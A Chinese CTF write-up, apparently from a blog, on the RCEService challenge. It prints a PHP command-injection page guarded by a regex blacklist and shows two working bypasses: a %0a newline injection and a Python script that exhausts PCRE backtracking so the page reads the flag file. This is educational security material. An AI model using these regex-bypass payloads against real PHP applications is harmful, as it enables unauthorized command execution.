PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
php echo()和print()、require()和include()函数区别说明
Mar 27 PHP
PHP 多维数组排序(usort,uasort)
Jun 30 PHP
LotusPhp笔记之:Logger组件的使用方法
May 06 PHP
php curl基本操作详解
Jul 23 PHP
一个图片地址分解程序(用于PHP小偷程序)
Aug 23 PHP
PHP统计目录大小的自定义函数分享
Nov 18 PHP
微信支付扫码支付php版
Jul 22 PHP
PHP模糊查询的实现方法(推荐)
Sep 06 PHP
PHP实现无限分类的实现方法
Nov 14 PHP
php常用字符串String函数实例总结【转换,替换,计算,截取,加密】
Dec 07 PHP
PHP编程计算日期间隔天数的方法
Apr 26 PHP
PHP封装XML和JSON格式数据接口操作示例
Mar 06 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
php 验证码实例代码
2010/06/01 PHP
PHP设计模式之解释器模式的深入解析
2013/06/13 PHP
PHP6 中可能会出现的新特性预览
2014/04/04 PHP
PHP实现生成透明背景的PNG缩略图函数分享
2014/07/08 PHP
Linux系统下使用XHProf和XHGui分析PHP运行性能
2015/12/08 PHP
PHP 下载文件时如何自动添加bom头及解释BOM头和去掉bom头的方法
2016/01/04 PHP
PHP实现动态创建XML文档的方法
2018/03/30 PHP
thinkPHP5框架实现基于ajax的分页功能示例
2018/06/12 PHP
Yii框架 session 数据库存储操作方法示例
2019/11/18 PHP
轻量级 JS ToolTip提示效果
2010/07/20 Javascript
JavaScript中继承的一些示例方法与属性参考
2010/08/07 Javascript
关于UTF-8的客户端用AJAX方式获取GB2312的服务器端乱码问题的解决办法
2010/11/30 Javascript
js使用心得分享
2015/01/13 Javascript
JS实现来回出现文字的状态栏特效代码
2015/10/31 Javascript
javascript用正则表达式过滤空格的实现代码
2016/06/14 Javascript
JS中使用FormData上传文件、图片的方法
2016/08/07 Javascript
Angular.js中$apply()和$digest()的深入理解
2016/10/13 Javascript
JS高仿抛物线加入购物车特效实现代码
2017/02/20 Javascript
原生js实现简单的Ripple按钮实例代码
2017/03/24 Javascript
纯js实现的积木(div层)拖动功能示例
2017/07/19 Javascript
jQuery实现的弹幕效果完整实例
2017/09/06 jQuery
vue插件draggable实现拖拽移动图片顺序
2018/12/01 Javascript
在layui tab控件中载入外部html页面的方法
2019/09/04 Javascript
layer插件实现在弹出层中弹出一警告提示并关闭弹出层的方法
2019/09/24 Javascript
vue实现将数据存入vuex中以及从vuex中取出数据
2019/11/08 Javascript
Python使用Srapy框架爬虫模拟登陆并抓取知乎内容
2016/07/02 Python
Ubuntu 16.04 LTS中源码安装Python 3.6.0的方法教程
2016/12/27 Python
Python功能点实现:函数级/代码块级计时器
2019/01/02 Python
kali中python版本的切换方法
2019/07/11 Python
Python编程中类与类的关系详解
2019/08/08 Python
Python如何通过Flask-Mail发送电子邮件
2020/01/29 Python
阿联酋网上花店:Ferns N Petals
2018/02/14 全球购物
企业厂长岗位职责
2013/12/17 职场文书
教育技术职业规划范文
2014/03/04 职场文书
群众路线教育实践活动民主生活会个人检查对照思想汇报
2014/10/04 职场文书
MySQL修改默认引擎和字符集详情
2021/09/25 MySQL